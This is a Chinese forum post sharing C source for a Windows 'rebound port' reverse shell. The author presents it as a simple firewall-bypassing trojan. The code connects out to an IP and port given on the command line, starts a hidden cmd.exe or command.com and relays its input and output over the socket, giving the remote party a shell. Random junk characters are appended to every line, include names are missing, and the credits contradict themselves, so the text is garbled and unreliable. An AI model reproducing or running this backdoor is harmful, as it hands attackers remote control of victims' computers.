这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9t[278B6
lVFX@I =pI
/* ============================== ^"Y'zIL
Rebound port in Windows NT 1Q%.-vs
By wind,2006/7 gB"Tc[l1
===============================*/ (HF,p,h_
#include I%&9`ceWY
#include xo%iL
q^cF D
#pragma comment(lib,"wsock32.lib") C0W~Tk\C2
&SM$oy#?
void OutputShell(); ^M9oTNk2
SOCKET sClient; DG-vTr
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GKS y|z
o
,!"E^
void main(int argc,char **argv) So^`L s;S
{ L7g&]%
WSADATA stWsaData; =4D_-Q
int nRet; $P-m6
SOCKADDR_IN stSaiClient,stSaiServer; +,[3a%c)H
Id*^H:]C#
if(argc != 3) >(CoXSV5
{ ""+*Gn7^8
printf("Useage:\n\rRebound DestIP DestPort\n"); pd1m/:
return; Psa8OJan
} E
oR(/*'
OT[m
g4&
WSAStartup(MAKEWORD(2,2),&stWsaData); U{_s1
7`/qL "
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CJOl|"UyJ
]aRD6F:L
stSaiClient.sin_family = AF_INET; `|w#K28t"
stSaiClient.sin_port = htons(0); +m.8*^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (0Qq rNs
J9FNjM[qe
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5jQP"^g
{ _pGviGR
printf("Bind Socket Failed!\n"); ,OCTm%6e
return; aX%Zuyny
} hN53= X:
?>8zU;Aj
stSaiServer.sin_family = AF_INET; #[W[|m
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); I`TD*D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !S!03|
EAB+kY
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) K)+l 6Q
{ LPn}QzH
printf("Connect Error!"); #<PdZl R
return; 5Nb_K`Vp*
} #}(Df&
OutputShell(); |w2AB7EU
} +I n"OR%
g)A0PvEu
void OutputShell() a~7osRmp0
{ ;8T=uCi
char szBuff[1024]; ~BZV:Es
SECURITY_ATTRIBUTES stSecurityAttributes; ;QQ7vo
OSVERSIONINFO stOsversionInfo; 5#)<rK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7 !.8#A':
STARTUPINFO stStartupInfo; d-sh6q5
char *szShell; $0SZlq>En
PROCESS_INFORMATION stProcessInformation; ebe@.ZVSi
unsigned long lBytesRead; --YUiNhh
mJ>99:W+
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /&:9VMMj
.K1E1Z_
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~ p.W*skD
stSecurityAttributes.lpSecurityDescriptor = 0; k#5e:VOb
stSecurityAttributes.bInheritHandle = TRUE; a.IF%hP0xo
}.) 43(>]
4_I{Q^f
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d`<^+p)oy
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $ F7gH
~&lJT
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "EYjY->
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >Ro n+
oe
stStartupInfo.wShowWindow = SW_HIDE; r)]CZ])
stStartupInfo.hStdInput = hReadPipe; u2BW]T]
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,M&0<k\
zlztF$Bo
GetVersionEx(&stOsversionInfo); r_,m\'~s!
!# :$u=
switch(stOsversionInfo.dwPlatformId) K('lH-3wS
{ 0,$-)SkT
case 1: rY?F6'}
szShell = "command.com"; >MWpYp
break; K_|~3g
default: yLO
&(Mb
szShell = "cmd.exe"; :@`(}5F4
break; w1#jVcUQ
} kr`BUW3
,."(Gp
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nl9Cdi]o
E
D^rWE_
send(sClient,szMsg,77,0); -f2`qltjb
while(1) ?U/Wio$@
{ `6N-MsP
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Y+u-J4bj
if(lBytesRead) u%1k
{ 8C,utjy
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ObyuhAR
send(sClient,szBuff,lBytesRead,0); 4_762Gu%
} @Du}
else 1|WpKaMoq
{ t-m9n*\j1
lBytesRead=recv(sClient,szBuff,1024,0); sMS9!{A
if(lBytesRead<=0) break; Wj j2J8B
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;#yu"6{
} QS [B
} ?hJsN
bjPbl2K
return; LbX6p
}